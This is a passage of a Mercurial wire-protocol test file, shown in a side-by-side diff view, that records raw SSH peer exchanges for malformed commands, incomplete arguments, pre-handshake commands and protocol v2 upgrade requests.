581 | using raw connection to peer |
|
581 | using raw connection to peer | |
582 | i> write(48) -> 48: |
|
582 | i> write(48) -> 48: | |
583 | i> unknown\n |
|
583 | i> unknown\n | |
584 | i> dict 3\n |
|
584 | i> dict 3\n | |
585 | i> key1 3\n |
|
585 | i> key1 3\n | |
586 | i> foo\n |
|
586 | i> foo\n | |
587 | i> key2 3\n |
|
587 | i> key2 3\n | |
588 | i> bar\n |
|
588 | i> bar\n | |
589 | i> key3 3\n |
|
589 | i> key3 3\n | |
590 | i> baz\n |
|
590 | i> baz\n | |
591 | o> readline() -> 2: |
|
591 | o> readline() -> 2: | |
592 | o> 0\n |
|
592 | o> 0\n | |
593 | o> readline() -> 2: |
|
593 | o> readline() -> 2: | |
594 | o> 0\n |
|
594 | o> 0\n | |
595 | o> readline() -> 2: |
|
595 | o> readline() -> 2: | |
596 | o> 0\n |
|
596 | o> 0\n | |
597 | o> readline() -> 2: |
|
597 | o> readline() -> 2: | |
598 | o> 0\n |
|
598 | o> 0\n | |
599 | o> readline() -> 2: |
|
599 | o> readline() -> 2: | |
600 | o> 0\n |
|
600 | o> 0\n | |
601 | o> readline() -> 2: |
|
601 | o> readline() -> 2: | |
602 | o> 0\n |
|
602 | o> 0\n | |
603 | o> readline() -> 2: |
|
603 | o> readline() -> 2: | |
604 | o> 0\n |
|
604 | o> 0\n | |
605 | o> readline() -> 2: |
|
605 | o> readline() -> 2: | |
606 | o> 0\n |
|
606 | o> 0\n | |
607 | i> write(6) -> 6: |
|
607 | i> write(6) -> 6: | |
608 | i> hello\n |
|
608 | i> hello\n | |
609 | o> readline() -> 4: |
|
609 | o> readline() -> 4: | |
610 | o> 413\n |
|
610 | o> 413\n | |
611 | o> readline() -> 413: |
|
611 | o> readline() -> 413: | |
612 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
612 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
613 |
|
613 | |||
614 | Incomplete dictionary send |
|
614 | Incomplete dictionary send | |
615 |
|
615 | |||
616 | $ hg debugwireproto --localssh --peer raw << EOF |
|
616 | $ hg debugwireproto --localssh --peer raw << EOF | |
617 | > raw |
|
617 | > raw | |
618 | > unknown\n |
|
618 | > unknown\n | |
619 | > dict 3\n |
|
619 | > dict 3\n | |
620 | > key1 3\n |
|
620 | > key1 3\n | |
621 | > foo\n |
|
621 | > foo\n | |
622 | > readline |
|
622 | > readline | |
623 | > readline |
|
623 | > readline | |
624 | > readline |
|
624 | > readline | |
625 | > readline |
|
625 | > readline | |
626 | > EOF |
|
626 | > EOF | |
627 | using raw connection to peer |
|
627 | using raw connection to peer | |
628 | i> write(26) -> 26: |
|
628 | i> write(26) -> 26: | |
629 | i> unknown\n |
|
629 | i> unknown\n | |
630 | i> dict 3\n |
|
630 | i> dict 3\n | |
631 | i> key1 3\n |
|
631 | i> key1 3\n | |
632 | i> foo\n |
|
632 | i> foo\n | |
633 | o> readline() -> 2: |
|
633 | o> readline() -> 2: | |
634 | o> 0\n |
|
634 | o> 0\n | |
635 | o> readline() -> 2: |
|
635 | o> readline() -> 2: | |
636 | o> 0\n |
|
636 | o> 0\n | |
637 | o> readline() -> 2: |
|
637 | o> readline() -> 2: | |
638 | o> 0\n |
|
638 | o> 0\n | |
639 | o> readline() -> 2: |
|
639 | o> readline() -> 2: | |
640 | o> 0\n |
|
640 | o> 0\n | |
641 |
|
641 | |||
642 | Incomplete value send |
|
642 | Incomplete value send | |
643 |
|
643 | |||
644 | $ hg debugwireproto --localssh --peer raw << EOF |
|
644 | $ hg debugwireproto --localssh --peer raw << EOF | |
645 | > raw |
|
645 | > raw | |
646 | > unknown\n |
|
646 | > unknown\n | |
647 | > dict 3\n |
|
647 | > dict 3\n | |
648 | > key1 3\n |
|
648 | > key1 3\n | |
649 | > fo |
|
649 | > fo | |
650 | > readline |
|
650 | > readline | |
651 | > readline |
|
651 | > readline | |
652 | > readline |
|
652 | > readline | |
653 | > EOF |
|
653 | > EOF | |
654 | using raw connection to peer |
|
654 | using raw connection to peer | |
655 | i> write(24) -> 24: |
|
655 | i> write(24) -> 24: | |
656 | i> unknown\n |
|
656 | i> unknown\n | |
657 | i> dict 3\n |
|
657 | i> dict 3\n | |
658 | i> key1 3\n |
|
658 | i> key1 3\n | |
659 | i> fo |
|
659 | i> fo | |
660 | o> readline() -> 2: |
|
660 | o> readline() -> 2: | |
661 | o> 0\n |
|
661 | o> 0\n | |
662 | o> readline() -> 2: |
|
662 | o> readline() -> 2: | |
663 | o> 0\n |
|
663 | o> 0\n | |
664 | o> readline() -> 2: |
|
664 | o> readline() -> 2: | |
665 | o> 0\n |
|
665 | o> 0\n | |
666 |
|
666 | |||
667 | Send a command line with spaces |
|
667 | Send a command line with spaces | |
668 |
|
668 | |||
669 | $ hg debugwireproto --localssh --peer raw << EOF |
|
669 | $ hg debugwireproto --localssh --peer raw << EOF | |
670 | > raw |
|
670 | > raw | |
671 | > unknown withspace\n |
|
671 | > unknown withspace\n | |
672 | > readline |
|
672 | > readline | |
673 | > raw |
|
673 | > raw | |
674 | > hello\n |
|
674 | > hello\n | |
675 | > readline |
|
675 | > readline | |
676 | > readline |
|
676 | > readline | |
677 | > raw |
|
677 | > raw | |
678 | > between\n |
|
678 | > between\n | |
679 | > pairs 81\n |
|
679 | > pairs 81\n | |
680 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
680 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
681 | > readline |
|
681 | > readline | |
682 | > readline |
|
682 | > readline | |
683 | > EOF |
|
683 | > EOF | |
684 | using raw connection to peer |
|
684 | using raw connection to peer | |
685 | i> write(18) -> 18: |
|
685 | i> write(18) -> 18: | |
686 | i> unknown withspace\n |
|
686 | i> unknown withspace\n | |
687 | o> readline() -> 2: |
|
687 | o> readline() -> 2: | |
688 | o> 0\n |
|
688 | o> 0\n | |
689 | i> write(6) -> 6: |
|
689 | i> write(6) -> 6: | |
690 | i> hello\n |
|
690 | i> hello\n | |
691 | o> readline() -> 4: |
|
691 | o> readline() -> 4: | |
692 | o> 413\n |
|
692 | o> 413\n | |
693 | o> readline() -> 413: |
|
693 | o> readline() -> 413: | |
694 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
694 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
695 | i> write(98) -> 98: |
|
695 | i> write(98) -> 98: | |
696 | i> between\n |
|
696 | i> between\n | |
697 | i> pairs 81\n |
|
697 | i> pairs 81\n | |
698 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
698 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
699 | o> readline() -> 2: |
|
699 | o> readline() -> 2: | |
700 | o> 1\n |
|
700 | o> 1\n | |
701 | o> readline() -> 1: |
|
701 | o> readline() -> 1: | |
702 | o> \n |
|
702 | o> \n | |
703 |
|
703 | |||
704 | $ hg debugwireproto --localssh --peer raw << EOF |
|
704 | $ hg debugwireproto --localssh --peer raw << EOF | |
705 | > raw |
|
705 | > raw | |
706 | > unknown with multiple spaces\n |
|
706 | > unknown with multiple spaces\n | |
707 | > readline |
|
707 | > readline | |
708 | > raw |
|
708 | > raw | |
709 | > hello\n |
|
709 | > hello\n | |
710 | > readline |
|
710 | > readline | |
711 | > readline |
|
711 | > readline | |
712 | > raw |
|
712 | > raw | |
713 | > between\n |
|
713 | > between\n | |
714 | > pairs 81\n |
|
714 | > pairs 81\n | |
715 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
715 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
716 | > readline |
|
716 | > readline | |
717 | > EOF |
|
717 | > EOF | |
718 | using raw connection to peer |
|
718 | using raw connection to peer | |
719 | i> write(29) -> 29: |
|
719 | i> write(29) -> 29: | |
720 | i> unknown with multiple spaces\n |
|
720 | i> unknown with multiple spaces\n | |
721 | o> readline() -> 2: |
|
721 | o> readline() -> 2: | |
722 | o> 0\n |
|
722 | o> 0\n | |
723 | i> write(6) -> 6: |
|
723 | i> write(6) -> 6: | |
724 | i> hello\n |
|
724 | i> hello\n | |
725 | o> readline() -> 4: |
|
725 | o> readline() -> 4: | |
726 | o> 413\n |
|
726 | o> 413\n | |
727 | o> readline() -> 413: |
|
727 | o> readline() -> 413: | |
728 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
728 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
729 | i> write(98) -> 98: |
|
729 | i> write(98) -> 98: | |
730 | i> between\n |
|
730 | i> between\n | |
731 | i> pairs 81\n |
|
731 | i> pairs 81\n | |
732 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
732 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
733 | o> readline() -> 2: |
|
733 | o> readline() -> 2: | |
734 | o> 1\n |
|
734 | o> 1\n | |
735 |
|
735 | |||
736 | $ hg debugwireproto --localssh --peer raw << EOF |
|
736 | $ hg debugwireproto --localssh --peer raw << EOF | |
737 | > raw |
|
737 | > raw | |
738 | > unknown with spaces\n |
|
738 | > unknown with spaces\n | |
739 | > key 10\n |
|
739 | > key 10\n | |
740 | > some value\n |
|
740 | > some value\n | |
741 | > readline |
|
741 | > readline | |
742 | > readline |
|
742 | > readline | |
743 | > readline |
|
743 | > readline | |
744 | > raw |
|
744 | > raw | |
745 | > hello\n |
|
745 | > hello\n | |
746 | > readline |
|
746 | > readline | |
747 | > readline |
|
747 | > readline | |
748 | > raw |
|
748 | > raw | |
749 | > between\n |
|
749 | > between\n | |
750 | > pairs 81\n |
|
750 | > pairs 81\n | |
751 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
751 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
752 | > readline |
|
752 | > readline | |
753 | > readline |
|
753 | > readline | |
754 | > EOF |
|
754 | > EOF | |
755 | using raw connection to peer |
|
755 | using raw connection to peer | |
756 | i> write(38) -> 38: |
|
756 | i> write(38) -> 38: | |
757 | i> unknown with spaces\n |
|
757 | i> unknown with spaces\n | |
758 | i> key 10\n |
|
758 | i> key 10\n | |
759 | i> some value\n |
|
759 | i> some value\n | |
760 | o> readline() -> 2: |
|
760 | o> readline() -> 2: | |
761 | o> 0\n |
|
761 | o> 0\n | |
762 | o> readline() -> 2: |
|
762 | o> readline() -> 2: | |
763 | o> 0\n |
|
763 | o> 0\n | |
764 | o> readline() -> 2: |
|
764 | o> readline() -> 2: | |
765 | o> 0\n |
|
765 | o> 0\n | |
766 | i> write(6) -> 6: |
|
766 | i> write(6) -> 6: | |
767 | i> hello\n |
|
767 | i> hello\n | |
768 | o> readline() -> 4: |
|
768 | o> readline() -> 4: | |
769 | o> 413\n |
|
769 | o> 413\n | |
770 | o> readline() -> 413: |
|
770 | o> readline() -> 413: | |
771 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
771 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
772 | i> write(98) -> 98: |
|
772 | i> write(98) -> 98: | |
773 | i> between\n |
|
773 | i> between\n | |
774 | i> pairs 81\n |
|
774 | i> pairs 81\n | |
775 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
775 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
776 | o> readline() -> 2: |
|
776 | o> readline() -> 2: | |
777 | o> 1\n |
|
777 | o> 1\n | |
778 | o> readline() -> 1: |
|
778 | o> readline() -> 1: | |
779 | o> \n |
|
779 | o> \n | |
780 | Send an unknown command after the "between" |
|
780 | Send an unknown command after the "between" | |
781 |
|
781 | |||
782 | $ hg debugwireproto --localssh --peer raw << EOF |
|
782 | $ hg debugwireproto --localssh --peer raw << EOF | |
783 | > raw |
|
783 | > raw | |
784 | > hello\n |
|
784 | > hello\n | |
785 | > readline |
|
785 | > readline | |
786 | > readline |
|
786 | > readline | |
787 | > raw |
|
787 | > raw | |
788 | > between\n |
|
788 | > between\n | |
789 | > pairs 81\n |
|
789 | > pairs 81\n | |
790 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown |
|
790 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown | |
791 | > readline |
|
791 | > readline | |
792 | > readline |
|
792 | > readline | |
793 | > EOF |
|
793 | > EOF | |
794 | using raw connection to peer |
|
794 | using raw connection to peer | |
795 | i> write(6) -> 6: |
|
795 | i> write(6) -> 6: | |
796 | i> hello\n |
|
796 | i> hello\n | |
797 | o> readline() -> 4: |
|
797 | o> readline() -> 4: | |
798 | o> 413\n |
|
798 | o> 413\n | |
799 | o> readline() -> 413: |
|
799 | o> readline() -> 413: | |
800 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
800 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
801 | i> write(105) -> 105: |
|
801 | i> write(105) -> 105: | |
802 | i> between\n |
|
802 | i> between\n | |
803 | i> pairs 81\n |
|
803 | i> pairs 81\n | |
804 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown |
|
804 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown | |
805 | o> readline() -> 2: |
|
805 | o> readline() -> 2: | |
806 | o> 1\n |
|
806 | o> 1\n | |
807 | o> readline() -> 1: |
|
807 | o> readline() -> 1: | |
808 | o> \n |
|
808 | o> \n | |
809 |
|
809 | |||
810 | And one with arguments |
|
810 | And one with arguments | |
811 |
|
811 | |||
812 | $ hg debugwireproto --localssh --peer raw << EOF |
|
812 | $ hg debugwireproto --localssh --peer raw << EOF | |
813 | > raw |
|
813 | > raw | |
814 | > hello\n |
|
814 | > hello\n | |
815 | > between\n |
|
815 | > between\n | |
816 | > pairs 81\n |
|
816 | > pairs 81\n | |
817 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
817 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
818 | > readline |
|
818 | > readline | |
819 | > readline |
|
819 | > readline | |
820 | > readline |
|
820 | > readline | |
821 | > readline |
|
821 | > readline | |
822 | > raw |
|
822 | > raw | |
823 | > unknown\n |
|
823 | > unknown\n | |
824 | > foo 5\n |
|
824 | > foo 5\n | |
825 | > \nvalue\n |
|
825 | > \nvalue\n | |
826 | > bar 3\n |
|
826 | > bar 3\n | |
827 | > baz\n |
|
827 | > baz\n | |
828 | > readline |
|
828 | > readline | |
829 | > readline |
|
829 | > readline | |
830 | > readline |
|
830 | > readline | |
831 | > EOF |
|
831 | > EOF | |
832 | using raw connection to peer |
|
832 | using raw connection to peer | |
833 | i> write(104) -> 104: |
|
833 | i> write(104) -> 104: | |
834 | i> hello\n |
|
834 | i> hello\n | |
835 | i> between\n |
|
835 | i> between\n | |
836 | i> pairs 81\n |
|
836 | i> pairs 81\n | |
837 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
837 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
838 | o> readline() -> 4: |
|
838 | o> readline() -> 4: | |
839 | o> 413\n |
|
839 | o> 413\n | |
840 | o> readline() -> 413: |
|
840 | o> readline() -> 413: | |
841 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
841 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
842 | o> readline() -> 2: |
|
842 | o> readline() -> 2: | |
843 | o> 1\n |
|
843 | o> 1\n | |
844 | o> readline() -> 1: |
|
844 | o> readline() -> 1: | |
845 | o> \n |
|
845 | o> \n | |
846 | i> write(31) -> 31: |
|
846 | i> write(31) -> 31: | |
847 | i> unknown\n |
|
847 | i> unknown\n | |
848 | i> foo 5\n |
|
848 | i> foo 5\n | |
849 | i> \n |
|
849 | i> \n | |
850 | i> value\n |
|
850 | i> value\n | |
851 | i> bar 3\n |
|
851 | i> bar 3\n | |
852 | i> baz\n |
|
852 | i> baz\n | |
853 | o> readline() -> 2: |
|
853 | o> readline() -> 2: | |
854 | o> 0\n |
|
854 | o> 0\n | |
855 | o> readline() -> 2: |
|
855 | o> readline() -> 2: | |
856 | o> 0\n |
|
856 | o> 0\n | |
857 | o> readline() -> 0: |
|
857 | o> readline() -> 0: | |
858 |
|
858 | |||
859 | Send a valid command before the handshake |
|
859 | Send a valid command before the handshake | |
860 |
|
860 | |||
861 | $ hg debugwireproto --localssh --peer raw << EOF |
|
861 | $ hg debugwireproto --localssh --peer raw << EOF | |
862 | > raw |
|
862 | > raw | |
863 | > heads\n |
|
863 | > heads\n | |
864 | > readline |
|
864 | > readline | |
865 | > raw |
|
865 | > raw | |
866 | > hello\n |
|
866 | > hello\n | |
867 | > between\n |
|
867 | > between\n | |
868 | > pairs 81\n |
|
868 | > pairs 81\n | |
869 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
869 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
870 | > readline |
|
870 | > readline | |
871 | > readline |
|
871 | > readline | |
872 | > readline |
|
872 | > readline | |
873 | > readline |
|
873 | > readline | |
874 | > EOF |
|
874 | > EOF | |
875 | using raw connection to peer |
|
875 | using raw connection to peer | |
876 | i> write(6) -> 6: |
|
876 | i> write(6) -> 6: | |
877 | i> heads\n |
|
877 | i> heads\n | |
878 | o> readline() -> 3: |
|
878 | o> readline() -> 3: | |
879 | o> 41\n |
|
879 | o> 41\n | |
880 | i> write(104) -> 104: |
|
880 | i> write(104) -> 104: | |
881 | i> hello\n |
|
881 | i> hello\n | |
882 | i> between\n |
|
882 | i> between\n | |
883 | i> pairs 81\n |
|
883 | i> pairs 81\n | |
884 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
884 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
885 | o> readline() -> 41: |
|
885 | o> readline() -> 41: | |
886 | o> 68986213bd4485ea51533535e3fc9e78007a711f\n |
|
886 | o> 68986213bd4485ea51533535e3fc9e78007a711f\n | |
887 | o> readline() -> 4: |
|
887 | o> readline() -> 4: | |
888 | o> 413\n |
|
888 | o> 413\n | |
889 | o> readline() -> 413: |
|
889 | o> readline() -> 413: | |
890 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
890 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
891 | o> readline() -> 2: |
|
891 | o> readline() -> 2: | |
892 | o> 1\n |
|
892 | o> 1\n | |
893 |
|
893 | |||
894 | And a variation that doesn't send the between command |
|
894 | And a variation that doesn't send the between command | |
895 |
|
895 | |||
896 | $ hg debugwireproto --localssh --peer raw << EOF |
|
896 | $ hg debugwireproto --localssh --peer raw << EOF | |
897 | > raw |
|
897 | > raw | |
898 | > heads\n |
|
898 | > heads\n | |
899 | > readline |
|
899 | > readline | |
900 | > raw |
|
900 | > raw | |
901 | > hello\n |
|
901 | > hello\n | |
902 | > readline |
|
902 | > readline | |
903 | > readline |
|
903 | > readline | |
904 | > EOF |
|
904 | > EOF | |
905 | using raw connection to peer |
|
905 | using raw connection to peer | |
906 | i> write(6) -> 6: |
|
906 | i> write(6) -> 6: | |
907 | i> heads\n |
|
907 | i> heads\n | |
908 | o> readline() -> 3: |
|
908 | o> readline() -> 3: | |
909 | o> 41\n |
|
909 | o> 41\n | |
910 | i> write(6) -> 6: |
|
910 | i> write(6) -> 6: | |
911 | i> hello\n |
|
911 | i> hello\n | |
912 | o> readline() -> 41: |
|
912 | o> readline() -> 41: | |
913 | o> 68986213bd4485ea51533535e3fc9e78007a711f\n |
|
913 | o> 68986213bd4485ea51533535e3fc9e78007a711f\n | |
914 | o> readline() -> 4: |
|
914 | o> readline() -> 4: | |
915 | o> 413\n |
|
915 | o> 413\n | |
916 |
|
916 | |||
917 | Send an upgrade request to a server that doesn't support that command |
|
917 | Send an upgrade request to a server that doesn't support that command | |
918 |
|
918 | |||
919 | $ hg debugwireproto --localssh --peer raw << EOF |
|
919 | $ hg debugwireproto --localssh --peer raw << EOF | |
920 | > raw |
|
920 | > raw | |
921 | > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n |
|
921 | > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n | |
922 | > readline |
|
922 | > readline | |
923 | > raw |
|
923 | > raw | |
924 | > hello\n |
|
924 | > hello\n | |
925 | > between\n |
|
925 | > between\n | |
926 | > pairs 81\n |
|
926 | > pairs 81\n | |
927 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
927 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
928 | > readline |
|
928 | > readline | |
929 | > readline |
|
929 | > readline | |
930 | > readline |
|
930 | > readline | |
931 | > readline |
|
931 | > readline | |
932 | > EOF |
|
932 | > EOF | |
933 | using raw connection to peer |
|
933 | using raw connection to peer | |
934 | i> write(77) -> 77: |
|
934 | i> write(77) -> 77: | |
935 | i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n |
|
935 | i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n | |
936 | o> readline() -> 2: |
|
936 | o> readline() -> 2: | |
937 | o> 0\n |
|
937 | o> 0\n | |
938 | i> write(104) -> 104: |
|
938 | i> write(104) -> 104: | |
939 | i> hello\n |
|
939 | i> hello\n | |
940 | i> between\n |
|
940 | i> between\n | |
941 | i> pairs 81\n |
|
941 | i> pairs 81\n | |
942 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
942 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
943 | o> readline() -> 4: |
|
943 | o> readline() -> 4: | |
944 | o> 413\n |
|
944 | o> 413\n | |
945 | o> readline() -> 413: |
|
945 | o> readline() -> 413: | |
946 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
946 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
947 | o> readline() -> 2: |
|
947 | o> readline() -> 2: | |
948 | o> 1\n |
|
948 | o> 1\n | |
949 | o> readline() -> 1: |
|
949 | o> readline() -> 1: | |
950 | o> \n |
|
950 | o> \n | |
951 |
|
951 | |||
952 | $ cd .. |
|
952 | $ cd .. | |
953 |
|
953 | |||
954 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server |
|
954 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server | |
955 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
955 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
956 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
956 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
957 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) |
|
957 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) | |
958 | devel-peer-request: hello+between |
|
958 | devel-peer-request: hello+between | |
959 | devel-peer-request: pairs: 81 bytes |
|
959 | devel-peer-request: pairs: 81 bytes | |
960 | sending hello command |
|
960 | sending hello command | |
961 | sending between command |
|
961 | sending between command | |
962 | remote: 0 |
|
962 | remote: 0 | |
963 | remote: 413 |
|
963 | remote: 413 | |
964 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
964 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
965 | remote: 1 |
|
965 | remote: 1 | |
966 | devel-peer-request: protocaps |
|
966 | devel-peer-request: protocaps | |
967 | devel-peer-request: caps: * bytes (glob) |
|
967 | devel-peer-request: caps: * bytes (glob) | |
968 | sending protocaps command |
|
968 | sending protocaps command | |
969 | url: ssh://user@dummy/server |
|
969 | url: ssh://user@dummy/server | |
970 | local: no |
|
970 | local: no | |
971 | pushable: yes |
|
971 | pushable: yes | |
972 |
|
972 | |||
973 | Enable version 2 support on server. We need to do this in hgrc because we can't |
|
973 | Enable version 2 support on server. We need to do this in hgrc because we can't | |
974 | use --config with `hg serve --stdio`. |
|
974 | use --config with `hg serve --stdio`. | |
975 |
|
975 | |||
976 | $ cat >> server/.hg/hgrc << EOF |
|
976 | $ cat >> server/.hg/hgrc << EOF | |
977 | > [experimental] |
|
977 | > [experimental] | |
978 | > sshserver.support-v2 = true |
|
978 | > sshserver.support-v2 = true | |
979 | > EOF |
|
979 | > EOF | |
980 |
|
980 | |||
981 | Send an upgrade request to a server that supports upgrade |
|
981 | Send an upgrade request to a server that supports upgrade | |
982 |
|
982 | |||
983 | $ cd server |
|
983 | $ cd server | |
984 |
|
984 | |||
985 | $ hg debugwireproto --localssh --peer raw << EOF |
|
985 | $ hg debugwireproto --localssh --peer raw << EOF | |
986 | > raw |
|
986 | > raw | |
987 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
987 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
988 | > hello\n |
|
988 | > hello\n | |
989 | > between\n |
|
989 | > between\n | |
990 | > pairs 81\n |
|
990 | > pairs 81\n | |
991 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
991 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
992 | > readline |
|
992 | > readline | |
993 | > readline |
|
993 | > readline | |
994 | > readline |
|
994 | > readline | |
995 | > EOF |
|
995 | > EOF | |
996 | using raw connection to peer |
|
996 | using raw connection to peer | |
997 | i> write(153) -> 153: |
|
997 | i> write(153) -> 153: | |
998 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
998 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
999 | i> hello\n |
|
999 | i> hello\n | |
1000 | i> between\n |
|
1000 | i> between\n | |
1001 | i> pairs 81\n |
|
1001 | i> pairs 81\n | |
1002 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1002 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1003 | o> readline() -> 44: |
|
1003 | o> readline() -> 44: | |
1004 | o> upgraded this-is-some-token exp-ssh-v2-0001\n |
|
1004 | o> upgraded this-is-some-token exp-ssh-v2-0001\n | |
1005 | o> readline() -> 4: |
|
1005 | o> readline() -> 4: | |
1006 | o> 412\n |
|
1006 | o> 412\n | |
1007 | o> readline() -> 413: |
|
1007 | o> readline() -> 413: | |
1008 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
